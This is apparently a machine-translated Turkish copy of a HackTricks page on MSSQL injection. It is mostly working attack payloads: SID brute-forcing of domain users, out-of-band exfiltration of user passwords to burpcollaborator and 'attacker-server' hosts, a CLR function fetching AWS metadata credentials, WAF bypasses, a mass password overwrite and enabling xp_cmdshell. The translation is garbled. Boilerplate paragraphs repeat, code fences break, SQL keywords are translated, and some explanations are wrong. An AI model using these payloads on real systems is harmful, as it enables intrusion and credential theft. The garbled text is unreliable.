MSSQL Injection

MSSQL Enjeksiyonu

AWS hacklemeyi sıfırdan kahramanla öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!

HackTricks'i desteklemenin diğer yolları:

Active Directory numaralandırma

Bir MSSQL sunucusu içinde SQL enjeksiyonu kullanarak etki alanı kullanıcılarını numaralandırmak mümkün olabilir. Bunun için aşağıdaki MSSQL fonksiyonlarını kullanabilirsiniz:

  • SELECT DEFAULT_DOMAIN(): Geçerli etki alanı adını alır.

  • master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator')): Eğer etki alanının adını biliyorsanız (bu örnekte DOMAIN), bu fonksiyon hex formatında kullanıcının Administrator SID'sini döndürecektir. Bu, 0x01050000000[...]0000f401 gibi görünecektir, son 4 byte'ın büyük uçlu formatında 500 sayısı olduğuna dikkat edin, bu da yönetici kullanıcısının genel ID'si olan. Bu fonksiyon, etki alanının ID'sini (son 4 byte hariç tüm byte'lar) bilmenizi sağlar.

  • SUSER_SNAME(0x01050000000[...]0000e803) : Bu fonksiyon, belirtilen ID'nin kullanıcı adını (varsa) döndürecektir, bu durumda büyük uçlu == 1000 olan 0000e803 (genellikle bu, oluşturulan ilk düzenli kullanıcı ID'sidir). Ardından, 1000 ila 2000 arasındaki kullanıcı ID'lerini brute-force yaparak muhtemelen etki alanının tüm kullanıcılarının kullanıcı adlarını elde edebilirsiniz. Örneğin aşağıdaki gibi bir fonksiyon kullanarak:

def get_sid(n):
domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236'
user = struct.pack('<I', int(n))
user = user.hex()
return f"{domain}{user}" #if n=1000, get SID of the user with ID 1000

Alternatif Hata Tabanlı vektörler

Hata tabanlı SQL enjeksiyonları genellikle +AND+1=@@version-- gibi yapılarla benzerlik gösterir ve «OR» operatörüne dayanan varyantlar içerir. Bu tür ifadeleri içeren sorgular genellikle WAF'lar tarafından engellenir. Bir bypass olarak, aranan veride bir veri türü dönüşüm hatası tetikleyen belirli fonksiyon çağrılarının sonucunu %2b karakterini kullanarak bir dize ile birleştirin.

Bu tür fonksiyonlara örnekler:

  • SUSER_NAME()

  • USER_NAME()

  • PERMISSIONS()

  • DB_NAME()

  • FILE_NAME()

  • TYPE_NAME()

  • COL_NAME()

Fonksiyon USER_NAME()'in örnek kullanımı:

https://vuln.app/getItem?id=1'%2buser_name(@@version)--

SSRF

Bu SSRF hileleri buradan alınmıştır

fn_xe_file_target_read_file

Sunucuda VIEW SERVER STATE izni gerektirir.

https://vuln.app/getItem?id= 1+and+exists(select+*+from+fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select+pass+from+users+where+id=1)%2b'.064edw6l0h153w39ricodvyzuq0ood.burpcollaborator.net\1.xem',null,null))
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
# Or doing
Use master;
EXEC sp_helprotect 'fn_xe_file_target_read_file';

fn_get_audit_file

Bu, CONTROL SERVER iznine ihtiyaç duyar.

https://vuln.app/getItem?id= 1%2b(select+1+where+exists(select+*+from+fn_get_audit_file('\\'%2b(select+pass+from+users+where+id=1)%2b'.x53bct5ize022t26qfblcsxwtnzhn6.burpcollaborator.net\',default,default)))
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_get_audit_file';

fn_trace_gettabe

Bu, CONTROL SERVER iznine ihtiyaç duyar.

https://vuln.app/ getItem?id=1+and+exists(select+*+from+fn_trace_gettable('\\'%2b(select+pass+from+users+where+id=1)%2b'.ng71njg8a4bsdjdw15mbni8m4da6yv.burpcollaborator.net\1.trc',default))
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_trace_gettabe';

xp_dirtree, xp_fileexists, xp_subdirs

xp_dirtree gibi depolanan prosedürler, Microsoft tarafından resmi olarak belgelenmemiş olsalar da, MSSQL içinde ağ işlemlerindeki kullanışlılıkları nedeniyle başkaları tarafından çevrimiçi olarak açıklanmıştır. Bu prosedürler, çeşitli örneklerde ve gönderilerde gösterildiği gibi, Out of Band Veri sızdırma işlemlerinde sıklıkla kullanılır.

Örneğin, xp_dirtree depolanan prosedürü, ağ istekleri yapmak için kullanılır, ancak yalnızca TCP bağlantı noktası 445'e izin verir. Bağlantı noktası numarası değiştirilemez, ancak ağ paylaşımlarından okuma yapmaya izin verir. Kullanımı aşağıdaki SQL betiğinde gösterilmiştir:

DECLARE @user varchar(100);
SELECT @user = (SELECT user);
EXEC ('master..xp_dirtree "\\' + @user + '.attacker-server\\aa"');

Bu yöntemin, varsayılan ayarlarla çalışan Windows Server 2016 Datacenter üzerinde çalışan Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64) gibi tüm sistem yapılandırmalarında çalışmayabileceği önemlidir.

Ayrıca, master..xp_fileexist ve xp_subdirs gibi alternatif depolanan prosedürler de benzer sonuçlara ulaşabilir. xp_fileexist hakkında daha fazla bilgi için bu TechNet makalesine bakabilirsiniz.

xp_cmdshell

Ayrıca xp_cmdshell kullanarak bir SSRF tetikleyen bir şeyi yürütmek için de kullanabilirsiniz. Daha fazla bilgi için sayfadaki ilgili bölümü okuyun:

page1433 - Pentesting MSSQL - Microsoft SQL Server

MSSQL Kullanıcı Tanımlı Fonksiyon - SQLHttp

Özel işlevleri yürütmek için MSSQL içinde yüklenecek olan bir DLL'ye derlenen herhangi bir .NET dilinde yazılmış kod olan CLR UDF (Common Language Runtime User Defined Function) oluşturmak, genellikle sa olarak veya Yönetici rolüyle veritabanı bağlantısı yapıldığında mümkün olur.

Bu işlevselliğin çekirdeği, MSSQL içindeki HTTP GET isteklerini yürütmek ve içeriği almak için WebClient sınıfını kullanan http.cs dosyasında özetlenmiştir. Bu işlevselliğin çekirdeği aşağıdaki gibi gösterilir:

using System.Data.SqlTypes;
using System.Net;

public partial class UserDefinedFunctions
{
[Microsoft.SqlServer.Server.SqlFunction]
public static SqlString http(SqlString url)
{
var wc = new WebClient();
var html = wc.DownloadString(url.Value);
return new SqlString(html);
}
}

CREATE ASSEMBLY SQL komutunu çalıştırmadan önce, sunucunun güvenilir derlemeler listesine ( select * from sys.trusted_assemblies; ile görüntülenebilir) derlemenin SHA512 karma değerini eklemek için aşağıdaki SQL parçacığını çalıştırmak önerilir:

EXEC sp_add_trusted_assembly 0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937,N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil';

Başarıyla derleme eklenip fonksiyon oluşturulduktan sonra, aşağıdaki SQL kodu HTTP isteklerini gerçekleştirmek için kullanılabilir:

DECLARE @url varchar(max);
SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/';
SELECT dbo.http(@url);

Hızlı Sömürü: Bir Sorguda Tüm Tablo İçeriğini Almak

İşte buradan alınan bir hile.

Bir tablonun tam içeriğini tek bir sorguda çıkarmak için özlü bir yöntem, FOR JSON ifadesini kullanmaktır. Bu yaklaşım, "raw" gibi belirli bir mod gerektiren FOR XML ifadesinden daha özlüdür. FOR JSON ifadesi, kısalığı nedeniyle tercih edilir.

İşte mevcut veritabanından şema, tablolar ve sütunları nasıl alacağınız:

https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto--
In situations where error-based vectors are used, it's crucial to provide an alias or a name. This is because the output of expressions, if not provided with either, cannot be formatted as JSON. Here's an example of how this is done:

```sql
## MSSQL Injection

Bu bölümde, MSSQL veritabanı üzerinde SQL enjeksiyonu saldırıları hakkında bilgi bulacaksınız. SQL enjeksiyonu, bir web uygulamasının güvenlik açıklarını kullanarak veritabanına kötü niyetli SQL kodu enjekte etme işlemidir. Bu saldırı türü, kullanıcı girişlerinin doğru bir şekilde filtrelenmediği veya doğru bir şekilde işlenmediği durumlarda gerçekleşir.

### MSSQL Enjeksiyonu Türleri

MSSQL enjeksiyonu, çeşitli yöntemlerle gerçekleştirilebilir. İşte en yaygın kullanılan MSSQL enjeksiyon türleri:

- **Union-Based Enjeksiyon**: Bu yöntemde, UNION operatörü kullanılarak veritabanından veri çekilir.
- **Boolean-Based Enjeksiyon**: Bu yöntemde, SQL sorgusunun sonucunu doğru veya yanlış ifadelerle kontrol ederek veri çekilir.
- **Time-Based Enjeksiyon**: Bu yöntemde, SQL sorgusunun çalışma süresini kontrol ederek veri çekilir.
- **Error-Based Enjeksiyon**: Bu yöntemde, SQL sorgusunda hata oluşturularak veri çekilir.

### MSSQL Enjeksiyonu Örneği

Aşağıdaki örnek, MSSQL enjeksiyonunun nasıl gerçekleştirileceğini göstermektedir:

```plaintext
https://vuln.app/getItem?id=1'+and+1=(select+concat_ws(0x3a,table_schema,table_name,column_name)a+from+information_schema.columns+for+json+auto)--

Bu URL'de, id parametresine eklenen ' karakteri ile SQL enjeksiyonu gerçekleştirilmektedir. SQL sorgusunda UNION veya SELECT gibi operatörler kullanılarak veritabanından veri çekilmektedir.


### Retrieving the Current Query

[Trick from here](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/).

For users granted the `VIEW SERVER STATE` permission on the server, it's possible to see all executing sessions on the SQL Server instance. However, without this permission, users can only view their current session. The currently executing SQL query can be retrieved by accessing sys.dm_exec_requests and sys.dm_exec_sql_text:

```sql
## MSSQL Injection

Bu bölümde, MSSQL veritabanlarında SQL enjeksiyonu saldırılarına odaklanacağız. SQL enjeksiyonu, bir uygulamanın veritabanı sorgularına kötü niyetli SQL kodu enjekte ederek saldırganın veritabanına yetkisiz erişim elde etmesine olanak tanır.

### Union Saldırısı

Union saldırısı, SQL enjeksiyonunun en yaygın kullanılan yöntemlerinden biridir. Bu saldırıda, UNION operatörü kullanılarak iki veya daha fazla sorgunun sonuçları birleştirilir. Bu sayede saldırgan, hedef uygulamanın veritabanından istediği bilgileri çekebilir.

Aşağıdaki örnek, UNION saldırısının bir örneğini göstermektedir:

https://vuln.app/getItem?id=-1%20union%20select%20null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null


Bu saldırıda, `id` parametresine `-1 union select null,(select text from sys.dm_exec_requests cross apply sys.dm_exec_sql_text(sql_handle)),null,null` değeri verilmiştir. Bu değer, UNION operatörü kullanılarak birincil sorgunun sonucuna ek olarak `sys.dm_exec_requests` ve `sys.dm_exec_sql_text` tablolarından bilgi çekmektedir.

Bu saldırı, hedef uygulamanın veritabanında bulunan verileri çalmak veya manipüle etmek için kullanılabilir. Saldırgan, UNION saldırısını kullanarak veritabanı yapısını keşfedebilir, kullanıcı kimlik bilgilerini ele geçirebilir veya hassas verileri sızdırabilir.

Bu nedenle, uygulama geliştiricilerinin SQL enjeksiyonu saldırılarına karşı koruma önlemleri alması önemlidir. Bu önlemler arasında parametre bağlama, giriş doğrulama ve filtreleme gibi güvenlik kontrolleri bulunur.

To check if you have the VIEW SERVER STATE permission, the following query can be used:

```sql
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';

Bu sorgu, 'SERVER' izin türüne sahip olan 'VIEW SERVER STATE' iznine sahip kullanıcıların tüm izinlerini döndürür.


## **Little tricks for WAF bypasses**

[Tricks also from here](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)

Non-standard whitespace characters: %C2%85 или %C2%A0:

MSSQL Injection

Bu bölümde, MSSQL veritabanı üzerinde SQL enjeksiyonu saldırılarına odaklanacağız. SQL enjeksiyonu, bir web uygulamasının veritabanı sorgularına kötü niyetli SQL kodu enjekte ederek saldırganın istismar etmesine izin verir.

MSSQL Enjeksiyonu Temelleri

MSSQL enjeksiyonu, bir web uygulamasının giriş alanlarına veya parametrelerine kötü niyetli SQL kodu enjekte ederek gerçekleştirilir. Bu, saldırganın veritabanı sorgularını manipüle etmesine ve istediği verilere erişmesine olanak tanır.

MSSQL enjeksiyonu saldırılarında yaygın olarak kullanılan bazı teknikler şunlardır:

  • Union Saldırıları: Birleştirme (union) operatörü kullanılarak birden fazla sorgunun sonuçları birleştirilir. Bu, saldırganın veritabanından istediği verileri almasını sağlar.

  • Boolean Saldırıları: Saldırgan, mantıksal ifadeleri kullanarak doğru veya yanlış sonuçlar elde eder. Bu, veritabanındaki bilgilerin doğruluğunu doğrulamak için kullanılır.

  • Time-Based Saldırılar: Saldırgan, zaman gecikmelerini kullanarak veritabanı sorgularının sonuçlarını kontrol eder. Bu, saldırganın veritabanından bilgi çekmesini sağlar.

Union Saldırıları

Union saldırıları, birleştirme (union) operatörünün kullanıldığı SQL enjeksiyonu saldırılarıdır. Bu saldırılar, birleştirme operatörü kullanılarak birden fazla sorgunun sonuçlarının birleştirilmesini hedefler.

Aşağıdaki örnek URL'de union saldırısı gerçekleştirilmektedir:

https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null--

Bu URL'de, id parametresine 1%C2%85union%C2%85select%C2%A0null,@@version,null-- değeri verilmiştir. Bu değer, union saldırısını gerçekleştirmek için kullanılan SQL kodunu içerir.

Union saldırısı, union operatörü kullanılarak birden fazla sorgunun sonuçlarının birleştirilmesini sağlar. Bu örnekte, null değeri kullanılarak ilk sorgunun sonucu atlanırken, @@version değeri kullanılarak MSSQL veritabanı sürümü elde edilmektedir.

Saldırgan, union saldırısı kullanarak veritabanından istediği verilere erişebilir. Bu nedenle, web uygulamalarının giriş alanları ve parametreleri dikkatlice kontrol edilmeli ve gerekli güvenlik önlemleri alınmalıdır.


Scientific (0e) and hex (0x) notation for obfuscating UNION:

MSSQL Enjeksiyonu

Bu bölümde, MSSQL veritabanı üzerinde SQL enjeksiyonu saldırılarına odaklanacağız. SQL enjeksiyonu, bir web uygulamasının veritabanı sorgularına zararlı SQL kodu enjekte ederek saldırganın istediği işlemleri gerçekleştirmesine olanak tanır.

MSSQL Enjeksiyonu Temelleri

MSSQL enjeksiyonu, web uygulamasının giriş alanlarına veya parametrelerine zararlı SQL kodu enjekte ederek gerçekleştirilir. Bu kod, veritabanı sorgularının normal işleyişini bozarak saldırganın istediği verilere erişmesini veya değiştirmesini sağlar.

MSSQL enjeksiyonu saldırılarında, saldırganın hedeflediği SQL kodu, web uygulamasının veritabanı sorgularına eklenir. Bu kod, veritabanı tarafından doğrudan yorumlanır ve sonuçlar web uygulamasına geri döner. Saldırgan, bu yolla veritabanı üzerinde çeşitli işlemler gerçekleştirebilir.

MSSQL Enjeksiyonu Örnekleri

Aşağıda, MSSQL enjeksiyonu için bazı örnekler verilmiştir:

https://vuln.app/getItem?id=0eunion+select+null,@@version,null--

https://vuln.app/getItem?id=0xunion+select+null,@@version,null--

Yukarıdaki örneklerde, id parametresine zararlı SQL kodu enjekte edilmiştir. union select ifadesi kullanılarak @@version fonksiyonu çağrılmış ve sonuçlar null olarak döndürülmüştür.

Bu tür bir enjeksiyon saldırısı, saldırganın MSSQL veritabanı hakkında bilgi edinmesini sağlar. @@version fonksiyonu, veritabanı sürümünü döndürür. Saldırgan, bu bilgiyi kullanarak hedef sistemi daha fazla zafiyet için analiz edebilir.

Önleme

MSSQL enjeksiyonu saldırılarından korunmak için aşağıdaki önlemleri alabilirsiniz:

  • Giriş alanlarını doğru bir şekilde doğrulayın ve filtreleyin.

  • Parametreleri güvenli bir şekilde işleyin ve sorguları hazırlarken parametre bağlama kullanın.

  • Güvenlik duvarı ve saldırı tespit sistemleri kullanarak saldırıları engelleyin.

  • Veritabanı kullanıcılarının minimum ayrıcalıklara sahip olduğundan emin olun.

  • Güncel ve güvenli bir MSSQL sürümü kullanın.

Bu önlemler, MSSQL enjeksiyonu saldırılarını önlemeye yardımcı olabilir. Ancak, her zaman güncel güvenlik uygulamalarını takip etmek ve web uygulamalarını düzenli olarak test etmek önemlidir.


A period instead of a whitespace between FROM and a column name:

MSSQL Injection

Bu bölümde, MSSQL veritabanı üzerinde SQL enjeksiyonu saldırılarına odaklanacağız. SQL enjeksiyonu, bir web uygulamasının veritabanı sorgularına kötü niyetli SQL kodu enjekte ederek saldırganın istismar etmesine izin veren bir güvenlik açığıdır.

MSSQL Enjeksiyonu Temelleri

MSSQL enjeksiyonu, bir web uygulamasının giriş alanlarına veya parametrelerine kötü niyetli SQL kodu enjekte ederek gerçekleştirilir. Bu, saldırganın veritabanı sorgularını manipüle etmesine ve istediği bilgilere erişmesine olanak tanır.

MSSQL enjeksiyonu saldırılarında yaygın olarak kullanılan bazı teknikler şunlardır:

  • Union Saldırısı: Birleştirme saldırısı, UNION operatörünü kullanarak bir SQL sorgusuna ek veri eklemeyi içerir. Bu, saldırganın veritabanından istediği bilgileri çekmesine olanak tanır.

  • Boolean Saldırısı: Boolean saldırısı, saldırganın SQL sorgusunu doğru veya yanlış sonuçlarla sınırlayarak bilgi elde etmesini sağlar. Bu, veritabanındaki bilgilerin doğruluğunu test etmek için kullanılabilir.

  • Time-Based Saldırı: Time-based saldırı, saldırganın SQL sorgusunun yanıt süresini manipüle ederek bilgi elde etmesini sağlar. Bu, veritabanındaki bilgilerin varlığını veya doğruluğunu test etmek için kullanılabilir.

MSSQL Enjeksiyonu Örneği

Aşağıdaki örnek, bir web uygulamasında MSSQL enjeksiyonu saldırısı gerçekleştirmek için kullanılan bir URL'yi göstermektedir:

https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users--

Bu URL, id parametresine 1 union select null,@@version,null from.users-- değerini ekleyerek birleştirme saldırısı gerçekleştirir. Bu saldırı, @@version fonksiyonunu kullanarak MSSQL veritabanı sürümünü elde etmeyi amaçlar.

Saldırgan, bu saldırıyı kullanarak hedef web uygulamasının veritabanı sürümünü öğrenebilir ve bu bilgiyi daha fazla saldırı veya istismar için kullanabilir.

Bu örnek, MSSQL enjeksiyonunun temel bir örneğini göstermektedir. Gerçek saldırılar daha karmaşık olabilir ve farklı teknikler kullanabilir.


\N separator between SELECT and a throwaway column:

MSSQL Injection

Bu bölümde, MSSQL veritabanında SQL enjeksiyonu saldırılarına odaklanacağız. SQL enjeksiyonu, bir web uygulamasının veritabanı sorgularına kötü niyetli SQL kodu enjekte ederek saldırganın istismar etmesine izin veren bir güvenlik açığıdır.

MSSQL Enjeksiyonu Temelleri

MSSQL enjeksiyonu, bir web uygulamasının giriş alanlarına veya parametrelerine kötü niyetli SQL kodu enjekte ederek gerçekleştirilir. Bu, saldırganın veritabanı sorgularını manipüle etmesine ve istediği verilere erişmesine olanak tanır.

MSSQL enjeksiyonu saldırılarında yaygın olarak kullanılan bazı teknikler şunlardır:

  • Union Saldırısı: Birleştirme saldırısı, bir SQL sorgusuna eklenen ek bir SELECT ifadesi aracılığıyla verilerin çalınmasını sağlar. Bu, saldırganın veritabanından istediği bilgileri almasına olanak tanır.

  • Boolean Saldırısı: Boolean saldırısı, saldırganın doğru veya yanlış yanıtlar alarak veritabanı hakkında bilgi edinmesini sağlar. Bu, saldırganın veritabanı yapısını keşfetmesine yardımcı olur.

  • Time-Based Saldırı: Zaman tabanlı saldırı, saldırganın SQL sorgusunun yanıt süresini kullanarak veritabanı hakkında bilgi edinmesini sağlar. Bu, saldırganın veritabanı yapısını keşfetmesine yardımcı olur.

MSSQL Enjeksiyonu Örneği

Aşağıdaki URL, MSSQL enjeksiyonu saldırısının bir örneğini göstermektedir:

https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users--

Bu URL'de, id parametresine 0xunion+select\Nnull,@@version,null+from+users-- değeri verilmiştir. Bu, birleştirme saldırısı kullanarak veritabanından kullanıcı tablosunun sürüm bilgisini çalmayı amaçlamaktadır.

Saldırgan, union select ifadesini kullanarak mevcut sorguya ek bir SELECT ifadesi ekler. @@version ifadesi, MSSQL veritabanının sürüm bilgisini döndürür. null ifadesi ise diğer sütunları doldurmak için kullanılır.

Sonuç olarak, saldırgan, @@version değerini kullanarak MSSQL veritabanının sürüm bilgisini elde eder.

Bu örnek, MSSQL enjeksiyonunun temel bir örneğini göstermektedir. Saldırganlar, bu teknikleri kullanarak daha karmaşık saldırılar gerçekleştirebilir ve veritabanı üzerinde daha fazla kontrol elde edebilir.


### WAF Bypass with unorthodox stacked queries

According to [**this blog post**](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/) it's possible to stack queries in MSSQL without using ";":

```sql
```sql
SELECT 'a' SELECT 'b'

Bu SQL sorgusu, 'a' ve 'b' değerlerini döndürmek için kullanılır.


So for example, multiple queries such as:

```sql
```sql
use [tempdb]
create table [test] ([id] int)
insert [test] values(1)
select [id] from [test]
drop table[test]
kullan [tempdb]
tablo oluştur [test] ([id] int)
ekle [test] değerler(1)
seç [id] [test] içinden
tablo sil [test]

Can be reduced to:

```sql
```sql
Kullan[tempdb]create/**/table[test]([id]int)insert[test]values(1)select[id]from[test]drop/**/table[test]
Kullan[tempdb]create/**/table[test]([id]int)insert[test]values(1)select[id]from[test]drop/**/table[test]

Therefore it could be possible to bypass different WAFs that doesn't consider this form of stacking queries. For example:

Sonuna gereksiz bir exec() ekleyerek ve WAF'ın bunun geçerli bir sorgu olmadığını düşünmesini sağlayarak

admina'union select 1,'admin','testtest123'exec('select 1')--

Bu şu şekilde olacak:

SELECT id, username, password FROM users WHERE username = 'admina'union select 1,'admin','testtest123' exec('select 1')--'

Garip bir şekilde oluşturulmuş sorgular kullanarak

admin'exec('update[users]set[password]=''a''')--

Bu şu şekilde olacak:

SELECT id, username, password FROM users WHERE username = 'admin' exec('update[users]set[password]=''a''')--'

Veya xp_cmdshell'i etkinleştirme

admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--

Bu şu şekilde olacak:

select * from users where username = ' admin' exec('sp_configure''show advanced option'',''1''reconfigure') exec('sp_configure''xp_cmdshell'',''1''reconfigure')--'


## References

* [https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)
* [https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/)

<details>

<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Other ways to support HackTricks:

* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>

Last updated